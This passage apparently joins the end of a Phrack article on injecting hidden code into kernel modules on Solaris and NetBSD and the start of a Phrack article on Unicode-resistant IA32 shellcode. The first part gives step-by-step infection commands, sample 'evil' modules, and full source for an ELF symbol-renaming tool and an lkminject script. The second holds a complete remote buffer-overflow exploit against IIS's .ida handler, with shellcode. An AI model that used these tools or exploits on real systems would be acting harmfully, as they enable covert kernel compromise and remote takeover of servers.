
cmn_err(CE_NOTE,"mod: successfully installed"); return i;

}

int _info(struct modinfo *modinfop)

{

return (mod_info(&modlinkage, modinfop));

}

int _fini(void)

{

int i;

if ((i = mod_remove(&modlinkage)) != 0) cmn_err(CE_NOTE,"Could not remove module\n"); else

cmn_err(CE_NOTE,"mod: successfully removed"); return i;

}

$ gcc ‑m64 ‑D_KERNEL ‑DSRV4 ‑DSOL2 ‑c mod.c

$ ld ‑r ‑o mod mod.o

$ file mod

mod: ELF 64‑bit MSB relocatable SPARCV9 Version 1

As we have seen in the Linux case, the code we are going to inject must contains a call to the real init function to make the module keeps its regular behaviour. However, we are going to face a problem: if we modify the .strtab section after the link operation, the dynamic loader doesn't find the _dumm() function and the module can't be loaded. I've not invistigated a lot into this problem but i think that the dynamic loader on Solaris doesn't looks for undefined symbols into the module itself. However, this problem can be easily solved. If we change the real _init .strtab entry to _dumm before the link operation, everything works well.

$ readelf ‑S mod

There are 10 section headers, starting at offset 0x940:

Section Headers:

[Nr] Name Type Address Offset Size EntSize Flags Link Info Align [ 0] NULL 0000000000000000 00000000 0000000000000000 0000000000000000 0 0 0 [ 1] .text PROGBITS 0000000000000000 00000040 0000000000000188 0000000000000000 AX 0 0 4 [ 2] .rodata PROGBITS 0000000000000000 000001c8 000000000000009b 0000000000000000 A 0 0 8 [ 3] .data PROGBITS 0000000000000000 00000268 0000000000000050 0000000000000000 WA 0 0 8 [ 4] .symtab SYMTAB 0000000000000000 000002b8 0000000000000210 0000000000000018 5 e 8 [ 5] .strtab STRTAB 0000000000000000 000004c8 0000000000000065 0000000000000000 0 0 1 [ 6] .comment PROGBITS 0000000000000000 0000052d 0000000000000035 0000000000000000 0 0 1 [ 7] .shstrtab STRTAB 0000000000000000 00000562 000000000000004e 0000000000000000 0 0 1 [ 8] .rela.text RELA 0000000000000000 000005b0 0000000000000348 0000000000000018 4 1 8 [ 9] .rela.data RELA 0000000000000000 000008f8 0000000000000048 0000000000000018 4 3 8 Key to Flags:

W (write), A (alloc), X (execute), M (merge), S (strings)

I (info), L (link order), G (group), x (unknown)

O (extra OS processing required) o (OS specific), p (processor specific)

The .strtab section starts at offset 0x4c8 and has a size of 64 bytes. We are going to use vi and xxd as an hex editor. Load the module into vi with: vi mod. After that use :%!xxd to convert the module into hex values. You will see something like this:

00004c0: 0000 0000 0000 0000 006d 6f64 006d 6f64 .........mod.mod 00004d0: 2e63 006d 6f64 6c69 6e6b 6167 6500 6d6f .c.modlinkage.mo 00004e0: 646c 6d69 7363 006d 6f64 5f6d 6973 636f dlmisc.mod_misco 00004f0: 7073 005f 696e 666f 006d 6f64 5f69 6e73 ps._info.mod_ins 0000500: 7461 6c6c 005f 696e 6974 006d 6f64 5f69 tall._init.mod_i

^^^^^^^^^

We modify 4 bytes to replace _init by _dumm.

00004c0: 0000 0000 0000 0000 006d 6f64 006d 6f64 .........mod.mod 00004d0: 2e63 006d 6f64 6c69 6e6b 6167 6500 6d6f .c.modlinkage.mo 00004e0: 646c 6d69 7363 006d 6f64 5f6d 6973 636f dlmisc.mod_misco 00004f0: 7073 005f 696e 666f 006d 6f64 5f69 6e73 ps._info.mod_ins 0000500: 7461 6c6c 005f 6475 6d6d 006d 6f64 5f69 tall._init.mod_i

^^^^^^^^^

We use :%!xxd ‑r to recover the module from hex values, then we save and exit :wq . After that we can verify that the replacement is successfull.

$ objdump ‑t mod

mod: file format elf64‑sparc

SYMBOL TABLE:

0000000000000000 l df *ABS* 0000000000000000 mod 0000000000000000 l d .text 0000000000000000 0000000000000000 l d .rodata 0000000000000000 0000000000000000 l d .data 0000000000000000 0000000000000000 l d *ABS* 0000000000000000 0000000000000000 l d *ABS* 0000000000000000 0000000000000000 l d .comment 0000000000000000 0000000000000000 l d *ABS* 0000000000000000 0000000000000000 l d *ABS* 0000000000000000 0000000000000000 l d *ABS* 0000000000000000 0000000000000000 l df *ABS* 0000000000000000 mod.c 0000000000000010 l O .data 0000000000000040 modlinkage 0000000000000000 l O .data 0000000000000010 modlmisc 0000000000000000 *UND* 0000000000000000 mod_miscops 00000000000000a4 g F .text 0000000000000040 _info 0000000000000000 *UND* 0000000000000000 mod_install 0000000000000000 g F .text 0000000000000188 _dumm 0000000000000000 *UND* 0000000000000000 mod_info 0000000000000000 *UND* 0000000000000000 mod_remove 00000000000000e4 g F .text 0000000000000188 _fini 0000000000000000 *UND* 0000000000000000 cmn_err

The _init symbol has been replaced by _dumm. Now we can directly inject a function which name is _init without any problem.

$ cat evil.c

int _init(void)

{

_dumm ();

cmn_err(1,"evil: successfully installed"); return 0;

}

$ gcc ‑m64 ‑D_KERNEL ‑DSRV4 ‑DSOL2 ‑c inject.c

$ ld ‑r ‑o inject inject.o

The injecting part using ld:

$ ld ‑r ‑o evil mod inject

Load the module:

# modload evil

# tail ‑f /var/adm/messages

Jul 15 10:58:33 luna unix: NOTICE: mod: successfully installed Jul 15 10:58:33 luna unix: NOTICE: evil: successfully installed

The same operation can be carried out for the _fini function to inject a complete module into another one.

‑‑‑‑[ 5.2 ‑ *BSD

‑‑‑‑‑‑[ 5.2.1 ‑ FreeBSD

% uname ‑srm

FreeBSD 4.8‑STABLE i386

% file /modules/daemon_saver.ko

daemon_saver.ko: ELF 32‑bit LSB shared object, Intel 80386, version 1 (FreeBSD), not stripped

As we can see, FreeBSD kernel modules are shared objects.Thus, we can't use ld to link aditionnal code into the module. Furthermore, the mechanism which is in use to load a module is completely different from the one used on Linux or Solaris systems. You can have a look to it in /usr/src/sys/kern/kern_linker.c . Any name can be used for the init/cleanup function. At initialisation the loader finds the address of the init function into a structure stored in the .data section. Then the .strtab hack can't be used too.

‑‑‑‑‑‑[ 5.2.2 ‑ NetBSD

$ file nvidia.o

nvidia.o: ELF 32‑bit LSB relocatable, Intel 80386, version 1 (SYSV), not stripped

We can inject code into a NetBSD kernel module because it's a relocatable ELF object. When modload loads a kernel module it links it with the kernel and execute the code placed at the entry point of the module (located in the ELF header).

After the link operation we can change this entry point, but it is not necessary because modload has a special option (‑e) that allows to tell it which symbol to use for the entry point.

Here's the example module we are going to infect:

$ cat gentil_lkm.c

#include <sys/cdefs.h>

#include <sys/param.h>

#include <sys/ioctl.h>

#include <sys/systm.h>

#include <sys/conf.h>

#include <sys/lkm.h>

MOD_MISC("gentil");

intgentil_lkmentry(struct lkm_table *, int, int);

intgentil_lkmload(struct lkm_table *, int);

intgentil_lkmunload(struct lkm_table *, int);

intgentil_lkmstat(struct lkm_table *, int);

int gentil_lkmentry(struct lkm_table *lkmt, int cmd, int ver)

{

DISPATCH(lkmt, cmd, ver, gentil_lkmload, gentil_lkmunload, gentil_lkmstat);

}

int gentil_lkmload(struct lkm_table *lkmt, int cmd)

{

printf("gentil: Hello, world!\n");

return (0);

}

int gentil_lkmunload(struct lkm_table *lkmt, int cmd)

{

printf("gentil: Goodbye, world!\n");

return (0);

}

int gentil_lkmstat(struct lkm_table *lkmt, int cmd)

{

printf("gentil: How you doin', world?\n");

return (0);

}

Here's the code that will be injected:

$ cat evil_lkm.c

#include <sys/cdefs.h>

#include <sys/param.h>

#include <sys/ioctl.h>

#include <sys/systm.h>

#include <sys/conf.h>

#include <sys/lkm.h>

intgentil_lkmentry(struct lkm_table *, int, int);

int

inject_entry(struct lkm_table *lkmt, int cmd, int ver)

{

switch(cmd) {

case LKM_E_LOAD:

printf("evil: in place\n");

break;

case LKM_E_UNLOAD:

printf("evil: i'll be back!\n");

break;

case LKM_E_STAT:

printf("evil: report in progress\n");

break;

default:

printf("edit: unknown command\n");

break;

}

return gentil_lkmentry(lkmt, cmd, ver);

}

After compiling gentil and evil we link them together:

$ ld ‑r ‑o evil.o gentil.o inject.o

$ mv evil.o gentil.o

# modload ‑e evil_entry gentil.o

Module loaded as ID 2

# modstat

Type Id Offset Loadaddr Size Info Rev Module Name

DEV 0 ‑1/108 d3ed3000 0004 d3ed3440 1 mmr

DEV 1 ‑1/180 d3fa6000 03e0 d4090100 1 nvidia

MISC 2 0 e45b9000 0004 e45b9254 1 gentil

# modunload ‑n gentil

# dmesg | tail

evil: in place

gentil: Hello, world!

evil: report in progress

gentil: How you doin', world?

evil: i'll be back!

gentil: Goodbye, world!

Ok, everything worked like a charm :)

‑‑‑‑‑‑[ 5.2.3 ‑ OpenBSD

OpenBSD don't use ELF on x86 architectures, so the tech cannot be used. I've not tested on platforms that use ELF but i think that it looks like NetBSD, so the tech can certainly be applied. Tell me if you manage to do it on OpenBSD ELF.

‑‑[ 6 ‑ Conclusion

This paper has enlarged the number of techniques that allows to dissimulate code into the kernel. I have presented this technique because it is interesting to do it with very few and easy manipulations. Have fun when playing with it :)

‑‑[ 7 ‑ Greetings

I want to thanks mycroft, OUAH, aki and afrique for their comments and ideas. Also a big thanks to klem for teaching me reverse engineering. Thanks to FXKennedy for helping me with NetBSD.

A big kiss to Carla for being wonderfull.

And finally, thanks to all #root people, `spud, hotfyre, funka, jaia, climax, redoktober ...

‑‑[ 8 ‑ References

[1] Weakening the Linux Kernel by Plaguez http://www.phrack.org/show.php?p=52&a=18

[2] The Adore rootkit by stealth http://stealth.7350.org/rootkits/

[3] Runtime kernel kmem patching by Silvio Cesare http://vx.netlux.org/lib/vsc07.html

[4] Static Kernel Patching by jbtzhm http://www.phrack.org/show.php?p=60&a=8

[5] Tool interface specification on ELF http://segfault.net/~scut/cpu/generic/TIS‑ELF_v1.2.pdf

[6] Modutils for 2.4.x kernels ftp://ftp.kernel.org/pub/linux/utils/kernel/modutils/v2.4

[7] Tripwire

http://www.tripwire.org

[8] Solaris Loadable Kernel Modules by Plasmoid http://www.thc.org/papers/slkm‑1.0.html

‑‑[ 9 ‑ Codes

‑‑‑‑[ 9.1 ‑ ElfStrChange

/*

* elfstrchange.c by truff <truff@projet7.org>

* Change the value of a symbol name in the .strtab section

*

* Usage: elfstrchange elf_object sym_name sym_name_replaced

*

*/

#include <stdlib.h>

#include <stdio.h>

#include <elf.h>

#define FATAL(X) { perror (X);exit (EXIT_FAILURE); }

int ElfGetSectionName (FILE *fd, Elf32_Word sh_name, Elf32_Shdr *shstrtable, char *res, size_t len);

Elf32_Off ElfGetSymbolByName (FILE *fd, Elf32_Shdr *symtab, Elf32_Shdr *strtab, char *name, Elf32_Sym *sym);

Elf32_Off ElfGetSymbolName (FILE *fd, Elf32_Word sym_name, Elf32_Shdr *strtable, char *res, size_t len);

int main (int argc, char **argv)

{

int i;

int len = 0;

char *string;

FILE *fd;

Elf32_Ehdr hdr;

Elf32_Shdr symtab, strtab;

Elf32_Sym sym;

Elf32_Off symoffset;

fd = fopen (argv[1], "r+");

if (fd == NULL)

FATAL ("fopen");

if (fread (&hdr, sizeof (Elf32_Ehdr), 1, fd) < 1)

FATAL ("Elf header corrupted");

if (ElfGetSectionByName (fd, &hdr, ".symtab", &symtab) == ‑1) {

fprintf (stderr, "Can't get .symtab section\n");

exit (EXIT_FAILURE);

}

if (ElfGetSectionByName (fd, &hdr, ".strtab", &strtab) == ‑1) {

fprintf (stderr, "Can't get .strtab section\n");

exit (EXIT_FAILURE);

}

symoffset = ElfGetSymbolByName (fd, &symtab, &strtab, argv[2], &sym); if (symoffset == ‑1)

{

fprintf (stderr, "Symbol %s not found\n", argv[2]); exit (EXIT_FAILURE);

}

printf ("[+] Symbol %s located at 0x%x\n", argv[2], symoffset);

if (fseek (fd, symoffset, SEEK_SET) == ‑1)

FATAL ("fseek");

if (fwrite (argv[3], 1, strlen(argv[3]), fd) < strlen (argv[3])) FATAL ("fwrite");

printf ("[+] .strtab entry overwriten with %s\n", argv[3]);

fclose (fd);

return EXIT_SUCCESS;

}

Elf32_Off ElfGetSymbolByName (FILE *fd, Elf32_Shdr *symtab, Elf32_Shdr *strtab, char *name, Elf32_Sym *sym)

{

int i;

char symname[255];

Elf32_Off offset;

for (i=0; i<(symtab‑>sh_size/symtab‑>sh_entsize); i++)

{

if (fseek (fd, symtab‑>sh_offset + (i * symtab‑>sh_entsize), SEEK_SET) == ‑1)

FATAL ("fseek");

if (fread (sym, sizeof (Elf32_Sym), 1, fd) < 1)

FATAL ("Symtab corrupted");

memset (symname, 0, sizeof (symname));

offset = ElfGetSymbolName (fd, sym‑>st_name, strtab, symname, sizeof (symname)); if (!strcmp (symname, name))

return offset;

}

return ‑1;

}

int ElfGetSectionByIndex (FILE *fd, Elf32_Ehdr *ehdr, Elf32_Half index, Elf32_Shdr *shdr)

{

if (fseek (fd, ehdr‑>e_shoff + (index * ehdr‑>e_shentsize), SEEK_SET) == ‑1)

FATAL ("fseek");

if (fread (shdr, sizeof (Elf32_Shdr), 1, fd) < 1)

FATAL ("Sections header corrupted");

return 0;

}

int ElfGetSectionByName (FILE *fd, Elf32_Ehdr *ehdr, char *section, Elf32_Shdr *shdr)

{

int i;

char name[255];

Elf32_Shdr shstrtable;

/*

* Get the section header string table

*/

ElfGetSectionByIndex (fd, ehdr, ehdr‑>e_shstrndx, &shstrtable);

memset (name, 0, sizeof (name));

for (i=0; i<ehdr‑>e_shnum; i++)

{

if (fseek (fd, ehdr‑>e_shoff + (i * ehdr‑>e_shentsize), SEEK_SET) == ‑1)

FATAL ("fseek");

if (fread (shdr, sizeof (Elf32_Shdr), 1, fd) < 1) FATAL ("Sections header corrupted");

ElfGetSectionName (fd, shdr‑>sh_name, &shstrtable, name, sizeof (name));

if (!strcmp (name, section))

{

return 0;

}

}

return ‑1;

}

int ElfGetSectionName (FILE *fd, Elf32_Word sh_name, Elf32_Shdr *shstrtable, char *res, size_t len)

{

size_t i = 0;

if (fseek (fd, shstrtable‑>sh_offset + sh_name, SEEK_SET) == ‑1) FATAL ("fseek");

while ((i < len) || *res == '\0')

{

*res = fgetc (fd);

i++;

res++;

}

return 0;

}

Elf32_Off ElfGetSymbolName (FILE *fd, Elf32_Word sym_name, Elf32_Shdr *strtable, char *res, size_t len)

{

size_t i = 0;

if (fseek (fd, strtable‑>sh_offset + sym_name, SEEK_SET) == ‑1) FATAL ("fseek");

while ((i < len) || *res == '\0')

{

*res = fgetc (fd);

i++;

res++;

}

return (strtable‑>sh_offset + sym_name);

}

/* EOF */

‑‑‑‑] 9.2 Lkminject

#!/bin/sh

#

# lkminject by truff (truff@projet7.org)

#

# Injects a Linux lkm into another one.

#

# Usage:

# ./lkminfect.sh original_lkm.o evil_lkm.c

#

# Notes:

# You have to modify evil_lkm.c as explained bellow:

# In the init_module code, you have to insert this line, just after # variables init:

# dumm_module ();

#

# In the cleanup_module code, you have to insert this line, just after # variables init:

# dummcle_module ();

#

# http://www.projet7.org ‑ Security Researchs ‑

########################################

sed ‑e s/init_module/evil_module/ $2 > tmp

mv tmp $2

sed ‑e s/cleanup_module/evclean_module/ $2 > tmp

mv tmp $2

# Replace the following line with the compilation line for your evil lkm # if needed.

make

ld ‑r $1 $(basename $2 .c).o ‑o evil.o

./elfstrchange evil.o init_module dumm_module

./elfstrchange evil.o evil_module init_module

./elfstrchange evil.o cleanup_module dummcle_module ./elfstrchange evil.o evclean_module cleanup_module

mv evil.o $1

rm elfstrchange

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Building IA32 'Unicode-Proof' Shellcodes

==Phrack Inc.==

Volume 0x0b, Issue 0x3d, Phile #0x0b of 0x0f

|=‑‑‑‑‑‑‑‑‑‑‑‑=[ Building IA32 'Unicode‑Proof' Shellcodes ]=‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑=[ obscou <obscou@dr.com||wishkah@chek.com> ]=‑‑‑‑‑‑‑‑‑‑‑‑‑=|

‑‑[ Contents

0 ‑ The Unicode Standard

1 ‑ Introduction

2 ‑ Our Instructions set

3 ‑ Possibilities

4 ‑ The Strategy

5 ‑ Position of the code

6 ‑ Conclusion

7 ‑ Appendix : Code

‑‑[ 0 ‑ The Unicode Standard

While exploiting buffer overflows, we sometime face a difficulty : character transformations. In fact, the exploited program may have modified our buffer, by setting it to lower/upper case, or by getting rid of non‑alphanumeric characters, thus stopping the attack as our shellcode usually can't run anymore. The transformation we are dealing here with is the transformation of a C‑type string (common zero terminated string) to a Unicode string.

Here is a quick overview of what Unicode is (source : www.unicode.org)

"What is Unicode?

Unicode provides a unique number for every character,

no matter what the platform,

no matter what the program,

no matter what the language."

‑‑‑ www.unicode.org

In fact, because Internet has become so popular, and because we all have different languages and therefore different charaters, there is now a need to have a standard so that computers can exchange data whatever the program, platform, language, network etc...

Unicode is a 16‑bits character set capable of encoding all known characters and used as a worldwide character‑encoding standard.

Today, Unicode is used by many industry leaders such as :

Apple

HP

IBM

Microsoft

Oracle

Sun

and many others...

The Unicode standard is requiered by softwares like :

(non exhaustive list, see unicode.org for full list)

Operating Systems :

Microsoft Windows CE, Windows NT, Windows 2000, and Windows XP GNU/Linux with glibc 2.2.2 or newer ‑ FAQ support

Apple Mac OS 9.2, Mac OS X 10.1, Mac OS X Server, ATSUI Compaq's Tru64 UNIX, Open VMS

IBM AIX, AS/400, OS/2

SCO UnixWare 7.1.0

Sun Solaris

And of course, any software that runs under thoses systems...

http://www.unicode.org/charts/ : displays the Unicode table of caracters

It looks like this :

| Range |Character set

|‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| 0000‑007F | Basic Latin

| 0080‑00FF | Latin‑1 Supplement

| 0100‑017F | Latin Extended‑A

| [...] | [...]

| 0370‑03FF | Greek and Coptic

| [...] | [...]

| 0590‑05FF | Hebrew

| 0600‑06FF | Arabic

| [...] | [...]

| 3040‑309F | Japanese Hiragana

| 30A0‑30FF | Japanese Katakana

.... and so on until everybody is happy !

Unicode 4.0 includes characters for :

Basic LatinBlock Elements

Latin‑1 Supplement Geometric Shapes

Latin Extended‑A Miscellaneous Symbols

Latin Extended‑B Dingbats

IPA Extensions Miscellaneous Math. Symbols‑A

Spacing Modifier Letters Supplemental Arrows‑A

Combining Diacritical Marks Braille Patterns

Greek Supplemental Arrows‑B

Cyrillic Miscellaneous Mathematical Symbols‑B

Cyrillic Supplement Supplemental Mathematical Operators Armenian CJK Radicals Supplement

Hebrew Kangxi Radicals

Arabic Ideographic Description Characters

Syriac CJK Symbols and Punctuation

Thaana Hiragana

Devanagari Katakana

Bengali Bopomofo

Gurmukhi Hangul Compatibility Jamo

Gujarati Kanbun

Oriya Bopomofo Extended

Tamil Katakana Phonetic Extensions

Telugu Enclosed CJK Letters and Months

Kannada CJK Compatibility

Malayalam CJK Unified Ideographs Extension A

Sinhala Yijing Hexagram Symbols

Thai CJK Unified Ideographs

Lao Yi Syllables

Tibetan Yi Radicals

Myanmar Hangul Syllables

Georgian High Surrogates

Hangul Jamo Low Surrogates

Ethiopic Private Use Area

Cherokee CJK Compatibility Ideographs

Unified Canadian Aboriginal Syllabic Alphabetic Presentation Forms Ogham Arabic Presentation Forms‑A

Runic Variation Selectors

Tagalog Combining Half Marks

Hanunoo CJK Compatibility Forms

Buhid Small Form Variants

Tagbanwa Arabic Presentation Forms‑B

Khmer Halfwidth and Fullwidth Forms

Mongolian Specials

Limbu Linear B Syllabary

Tai Le Linear B Ideograms

Khmer Symbols Aegean Numbers

Phonetic Extensions Old Italic

Latin Extended Additional Gothic

Greek Extended Deseret

General Punctuation Shavian

Superscripts and Subscripts Osmanya

Currency Symbols Cypriot Syllabary

Combining Marks for Symbols Byzantine Musical Symbols Letterlike Symbols Musical Symbols

Number Forms Tai Xuan Jing Symbols

Arrows Mathematical Alphanumeric Symbols

Mathematical Operators CJK Unified Ideographs Extension B Miscellaneous Technical CJK Compatibility Ideographs Supp. Control Pictures Tags

Optical Character Recognition Variation Selectors Supplement Enclosed Alphanumerics Supplementary Private Use Area‑A Box Drawing Supplementary Private Use Area‑B

Yes it's impressive.

Microsoft says :

"Unicode is a worldwide character‑encoding standard. Windows NT, Windows 2000, and Windows XP use it exclusively at the system level for character and string manipulation. Unicode simplifies localization of software and improves multilingual text processing. By implementing it in your applications, you can enable the application with universal data exchange capabilities for global marketing, using a single binary file for every possible character code."

Wa have to notice that The Windows programming interface uses ANSI and Unicode API's for each API, for example:

The API : MessageBox (displays a msgbox of course)

Is exported by User32.dll with :

MessageBoxA(ANSI)

MessageBoxW(Unicode)

MessageBoxA will accept a standard C‑type string as an argument MessageBoxW requieres Unicode strings as arguments.

According to Microsoft, internal use of strings is handled by the system itself that ensures a transparent translation of strings between different standards.

But if you want to use ANSI in a C program compiling under windows, you just have to define UNICODE and every API will be replaced by its 'W' version.

This sounds logical to me, let's get to the point now...

‑‑[ 1 ‑ Introduction

We will consider the following situation :

You send some data to a vulnerable server, and your data is considered as ASCII (standard 8‑bits character encoding), then your buffer is translated into unicode for compatibility reasons, and then an overflow occurs with your transformed buffer.

For example, such an input buffer :

4865 6C6C 6F20 576F 726C 6420 2100 0000 Hello World !...

0000 0000 0000 0000 0000 0000 0000 0000 ................

Would turn into :

4800 6500 6C00 6C00 6F00 2000 5700 6F00 H.e.l.l.o. .W.o.

7200 6C00 6400 2000 2100 0000 0000 0000 r.l.d. .!.......

Then bang, overflow (yeah i know my example is stupid)

Under Win32 plateforms, a process usually starts at 00401000, this makes it possible to smash EIP with a return address that looks like :

????:00??00??

So even with such a transformation, exploitation is still possible. It will be a lot harder to get a working shellcode.

One possibility is to stuff the stack with untranformed data than contains the same shellcode many times, then do the overflow with the tranformed buffer, and make it return to one of your numerous shellcodes. Here we assume that this was impossible because all buffers are unicode. Needless to say that our assembly code won't go through this safely. So we need to find a way to build a shellcode that resists to such a transformation. We need to find opcodes containing null bytes to build our shellcode.

Here is an example, it is a bit old but it is an example of how we can manage to get a shellcode executed even if our sent buffer is f**cked (This exploit was working on my box, it runs against IIS www service) :

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ CUT HERE ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/*

IIS .IDA remote exploit

formatted return address : 0x00530053

IIS sticks our very large buffer at 0x0052....

We jump to the buffer and get to the point

by obscurer

*/

#include <windows.h>

#include <winsock.h>

#include <stdio.h>

void usage(char *a);

int wsa();

/* My Generic Win32 Shellcode */

unsigned char shellcode[]={ "\xEB\x68\x4B\x45\x52\x4E\x45\x4C\x13\x12\x20\x67\x4C\x4F\x42\x41" "\x4C\x61\x4C\x4C\x4F\x43\x20\x7F\x4C\x43\x52\x45\x41\x54\x20\x7F" [......]

[......]

[......] "\x09\x05\x01\x01\x69\x01\x01\x01\x01\x57\xFE\x96\x11\x05\x01\x01" "\x69\x01\x01\x01\x01\xFE\x96\x15\x05\x01\x01\x90\x90\x90\x90\x00"};

int main (int argc, char **argv)

{

int sock;

struct hostent *host;

struct sockaddr_in sin;

int index;

char *xploit;

char *longshell;

char retstring[250];

if(argc!=4&&argc!=5) usage(argv[0]);

if(wsa()==FALSE)

{

printf("Error : cannot initialize winsock\n");

exit(0);

}

int size=0;

if(argc==5)

size=atoi(argv[4]);

printf("Beginning Exploit building\n");

xploit=(char *)malloc(40000+size);

longshell=(char *)malloc(35000+size);

if(!xploit||!longshell)

{

printf("Error, not enough memory to build exploit\n");

return 0;

}

if(strlen(argv[3])>65)

{

printf("Error, URL too long to fit in the buffer\n");

return 0;

}

for(index=0;index<strlen(argv[3]);index++) shellcode[index+139]=argv[3][index]^0x20;

memset(xploit,0,40000+size);

memset(longshell,0,35000+size);

memset (longshell, '\x41', 30000+size);

for(index=0;index<sizeof(shellcode);index++) longshell[index+30000+size]=shellcode[index];

longshell[30000+sizeof(shellcode)+size]=0;

memset(retstring,'S',250);

sprintf(xploit,

"GET /NULL.ida?%s=x HTTP/1.1\nHost: localhost\nAlex: %s\n\n", retstring,

longshell);

printf("Exploit build, connecting to %s:%d\n",argv[1],atoi(argv[2]));

sock=socket(AF_INET,SOCK_STREAM,0);

if(sock<0)

{

printf("Error : Couldn't create a socket\n");

return 0;

}

if ((inet_addr (argv[1]))==‑1)

{

host = gethostbyname (argv[1]);

if (!host)

{

printf ("Error : Couldn't resolve host\n");

return 0;

}

memcpy((unsigned long *)&sin.sin_addr.S_un.S_addr, (unsigned long *)host‑>h_addr, sizeof(host‑>h_addr));

}

else sin.sin_addr.S_un.S_addr=inet_addr(argv[1]);

sin.sin_family=AF_INET;

sin.sin_port=htons(atoi(argv[2]));

index=connect(sock,(struct sockaddr *)&sin,sizeof(sin));

if (index==‑1)

{

printf("Error : Couldn't connect to host\n");

return 0;

}

printf("Connected to host, sending shellcode\n");

index=send(sock,xploit,strlen(xploit),0);

if(index<1)

{

printf("Error : Couldn't send trough socket\n");

return 0;

}

printf("Done, waiting for an answer\n");

memset (xploit,0, 2000);

index=recv(sock,xploit,100,0);

if(index<0)

{

printf("Server crashed, if exploit didn't work,

increase buffer size by 10000\n");

exit(0);

}

printf("Exploit didn't seem to work, closing connection\n",xploit);

closesocket(sock);

printf("Done\n");

return 0;

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ CUT HERE ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

In this example, the exploitation string had to be as follows :

"GET /NULL.ida?[BUFFER]=x HTTP/1.1\nHost: localhost\nAlex: [ANY]\n\n"

If [BUFFER] is big enough, EIP is smashed with what it contains. But, i've noticed that [BUFFER] has been transformed into unicode when the overflow occurs. But something interesting was that [ANY] was a clean ASCII buffer, being mapped in memory at around : 00530000...

So i tried to set [BUFFER] to "SSSSSSSSSSSSS" (S = 0x53)

After the unicode transformation, it became :

...00 53 00 53 00 53 00 53 00 53 00 53 00 53 00 53 00 53...

The EIP was smashed with : 0x00530053, IIS returned on somewhere around [ANY], where i had put a huge space of 0x41 = "A" (increments a register) and then, at the end of [ANY], my shellcode.

And this worked. But if we have no clean buffer, we are unable to install a shellcode somewhere in memory. We have to find another solution.

‑‑[ 2 ‑ Our Instructions set

We must keep in mind that we can't use absolute addresses for calls, jmp... because we want our shellcode to be as portable as possible. First, we have to know which opcodes can be used, and which can't be used in order to find a strategy. As used in the Intel papers :

r32 refers to a 32 bits register (eax, esi, ebp...)

r8 refers to a 8 bits register (ah, bl, cl...)

‑ UNCONDITIONAL JUMPS (JMP)

JMP's possible opcodes are EB and E9 for relative jumps, we can't use them as they must be followed by a byte (00 would mean a jump to the next instruction which is fairly unuseful)

FF and EA are absolute jumps, these opcodes can't be followed by a 00, except if we want to jump to a known address, which we won't do as this would mean that our shellcode contains harcoded addresses.

‑ CONDITIONAL JUMPS (Jcc : JNE, JAE, JNE, JL, JZ, JNG, JNS...)

The syntaxe for far jumps can't be used as it needs 2 consecutives non null bytes. the syntaxe for near jumps can't be used either because the opcode must be followed by the distance to jump to, which won't be 00. Also, JMP r32 is impossible.

‑ LOOPs (LOOP, LOOPcc : LOOPE, LOOPNZ..)

Same problem : E0, or E1, or E2 are LOOP opcodes, they must me followed by the number of bytes to cross...

‑ REPEAT (REP, REPcc : REPNE, REPNZ, REP + string operation)

All this is impossible to do because thoses intructions all begin with a two bytes opcode.

‑ CALLs

Only the relative call can be usefull :

E8 ?? ?? ?? ??

In our case, we must have :

E8 00 ?? 00 ?? (with each ?? != 00)

We can't use this as our call would be at least 01000000 bytes further... Also, CALL r32 is impossible.

‑ SET BYTE ON CONDITION (SETcc)

This instruction needs 2 non nul bytes. (SETA is 0F 97 for example).

Hu oh... This is harder as it may seem... We can't do any test... Because we can't do anything conditional ! Moreover, we can't move along our code : no Jumps and no Calls are permitted, and no Loops nor Repeats can be done.

Then, what can we do ?

The fact that we have a lot of NULLS will allow a lot of operation on the EAX register... Because when you use EAX, [EAX], AX, etc.. as operand, it is often coded in Hex with a 00.

‑ SINGLE BYTE OPCODES

We can use any single byte opcode, this will give us any INC or DEC on any register, XCHG and PUSH/POP are also possible, with registers as operands. So we can do :

XCHG r32,r32

POP r32

PUSH r32

Not bad.

‑ MOV

_______________________________________

|8800 mov [eax],al |

|8900 mov [eax],eax |

|8A00 mov al,[eax] |

|8B00 mov eax,[eax] |

|

|Quite unuseful.

|_______________________________________

_______________________________________

|A100??00?? mov eax,[0x??00??00] | |A200??00?? mov [0x??00??00],al | |A300??00?? mov [0x??00??00],eax |

|

|These are unuseful to us. (We said no hardcoded addresses). |

|_______________________________________

_______________________________________

|B_00 mov r8,0x0 |

|A4 movsb

|

|Maybe we can use these ones. |

|_______________________________________

_______________________________________

|B_00??00?? mov r32,0x??00??00 |

|C600?? mov byte [eax],0x?? |

|

|This might be interesting for patching memory. |

|_______________________________________

‑ ADD

_______________________________________

|00__ add [r32], r8 |

|

| Using any register as a pointer, we can add bytes in memory. |

|

|00__ add r8,r8 |

|

| Could be a way to modify a register. |

|_______________________________________

‑ XOR

_______________________________________

|3500??00?? xor eax,0x??00??00 |

|

|

| Could be a way to modify the EAX register. |

|_______________________________________

‑ PUSH

_______________________________________

|6A00 push dword 0x00000000 | |6800??00?? push dword 0x??00??00 |

|

| Only this can be made.

|_______________________________________

‑‑[ 3 ‑ Possibilities

First we have to get rid of a small detail : the fact that we have such 0x00 in our code may requier caution because if you return from smashed EIP to ADDR :

... ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ...

||

ADDR

The result may be completely different if you ret to ADDR or ADDR+1 ! But, we can use as 'NOP' instruction, instructions like :

_______________________________________

|0400 add al,0x0 |

|_______________________________________

